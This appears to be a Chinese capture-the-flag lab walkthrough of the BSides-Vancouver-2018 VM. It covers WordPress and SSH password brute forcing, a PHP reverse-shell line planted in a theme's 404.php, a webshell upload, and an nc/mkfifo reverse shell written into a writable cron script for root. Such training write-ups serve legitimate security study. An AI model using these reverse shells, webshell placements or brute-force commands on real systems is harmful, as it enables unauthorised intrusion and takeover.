一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.29 -A
┌──(root㉿kali)-[/home/yzy/Desktop]
└─# nmap -sS -sV -T5 -p- 192.168.10.29 -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 16:15 CST
Nmap scan report for 192.168.10.29
Host is up (0.00051s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.10.11
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 2.3.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:ee:98:b0:c1:85:60:3c:41 (DSA)
| 2048 cf:1a:04:e1:7b:a3:cd:2b:d1:af:7d:b3:30:e0:a0:9d (RSA)
|_ 256 97:e5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/backup_wordpress
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:37:D5:E0 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms 192.168.10.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.15 seconds
可以看到有一个ftp匿名登录
二、目录枚举
dirb http://192.168.10.29
dirsearch -u http://192.168.10.29
三、进入网页
没什么信息直接访问robots.txt,发现一个新目录
nikto扫描
nikto -h http://192.168.10.29/backup_wordpress/
扫出来一个登录界面,wp-config.php里面可能存在密码
登录界面
wpscan扫描
wpscan --url http://192.168.10.29/backup_wordpress/ --disable-tls-checks
使用WPSscan枚举用户
得到一个admin和一个john用户名
wpscan --url http://192.168.10.29/backup_wordpress/ --enumerate u
因为rockyou的字典比较大,直接丢那里让他跑
wpscan --url http://192.168.10.29/backup_wordpress/ -U user.txt -P rockyou.txt --password-attack xmlrpc
--password-attack xmlrpc
:使用 XML-RPC 接口爆破(比默认登录页面更快
再尝试从网站提取单词,生成一个自定义字典文件,并且将这些单词保存到 pass.txt
文件中
cewl -d 1 -w pass.txt http://192.168.10.29/backup_wordpress/
-
-d 1
: -
-d
代表深度(depth)。它规定了爬虫在网站内部的爬行深度。 -
这里设置为
1
,意味着爬虫只会在当前页面提取单词,不会跟进页面中的链接去访问其他页面。 -
-w pass.txt
: -
-w
表示写入(write)。它指定了将提取到的单词保存到哪个文件。 -
pass.txt
就是存储提取结果的文件名。若该文件不存在,cewl
会创建它;若已存在,文件内容会被覆盖。 -
http://pinkydb
:这是cewl
要爬取的目标网站的 URL。
wpscan --url http://192.168.10.29/backup_wordpress/ -U user.txt -P pass.txt
没爆出来
尝试fasttrack.txt字典也无果
wpscan --url http://192.168.10.29/backup_wordpress/ -U user.txt -P fasttrack.txt
rockyou爆出来了一个john的密码
john/enigma
先放着
四、FTP匿名登录
┌──(yzy㉿kali)-[~/Desktop]
└─$ ftp 192.168.10.29
Connected to 192.168.10.29.
220 (vsFTPd 2.3.5)
Name (192.168.10.29:yzy): ftp
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||65042|).
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Mar 03 2018 .
drwxr-xr-x 3 0 0 4096 Mar 03 2018 ..
drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||16609|).
150 Here comes the directory listing.
drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 .
drwxr-xr-x 3 0 0 4096 Mar 03 2018 ..
-rw-r--r-- 1 0 0 31 Mar 03 2018 users.txt.bk
226 Directory send OK.
ftp> get users.txt.bk
local: users.txt.bk remote: users.txt.bk
229 Entering Extended Passive Mode (|||44370|).
150 Opening BINARY mode data connection for users.txt.bk (31 bytes).
100% |*********************************************************************************************************************************************| 31 45.11 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (15.35 KiB/s)
得到users.txt.bk
abatchy
john
mai
anne
doomguy
五、反弹shell
方法一
john/enigma成功登录
在Users发现john也为管理员组,可以删除admin用户
修改404.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>
可以看到编辑成功
访问
http://192.168.10.29/backup_wordpress/wp-content/themes/twentysixteen/404.php
记得开监听
反弹成功
方法二
虽然这里写的上传zip文件,但是还是可以上传php文件的
点击上传的文件
点击上传的文件,可以看到url路径
http://192.168.10.29/backup_wordpress/wp-content/uploads/2025/05/shell.php
反弹成功
常见的WordPress通过插件和主题获取webshell的路径
http://192.168.10.29/backup_wordpress/wp-content/plugins/akismet/akismet.php
http://192.168.10.29/backup_wordpress/wp-content/themes/twentysixteen/archive.php
http://192.168.10.29/backup_wordpress/wp-content/themes/twentysixteen/template-parts/content.php
六、提权
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
访问wp-config.php得到mysql用户密码
john@localhost/thiscannotbeit
mysql -ujohn@localhost -p'thiscannotbeit'
但是这里并没有什么信息
方法一
这个是看别的师傅写的
find / -type f -perm 0777 2>/dev/null
echo'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.11 8888 >/tmp/f'> /usr/local/bin/cleanup
./usr/local/bin/cleanup
方法二
前面通过ftp匿名登录得到一批用户名,但是wordpress上只有john和admin用户,这里只可能是ssh登录了
for user in $(cat users.txt.bk); do ssh $user@192.168.10.29; done
发现只有anne用户可以进行ssh登录
成功爆破出来anne/princess
hydra -l anne -P rockyou.txt -t 4 ssh://192.168.10.29
提权成功
原文始发于微信公众号(泷羽Sec-临观):打靶日记 BSides-Vancouver-2018-Workshop
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论